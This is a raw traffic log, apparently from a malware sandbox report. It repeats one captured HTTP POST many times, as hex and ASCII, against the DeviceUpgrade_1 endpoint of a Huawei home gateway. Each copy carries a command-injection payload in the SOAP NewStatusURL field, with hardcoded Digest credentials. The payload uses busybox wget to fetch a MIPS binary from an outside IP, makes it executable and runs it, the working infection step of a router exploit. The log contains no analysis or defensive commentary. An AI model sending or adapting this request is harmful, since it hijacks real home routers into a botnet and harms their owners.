3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
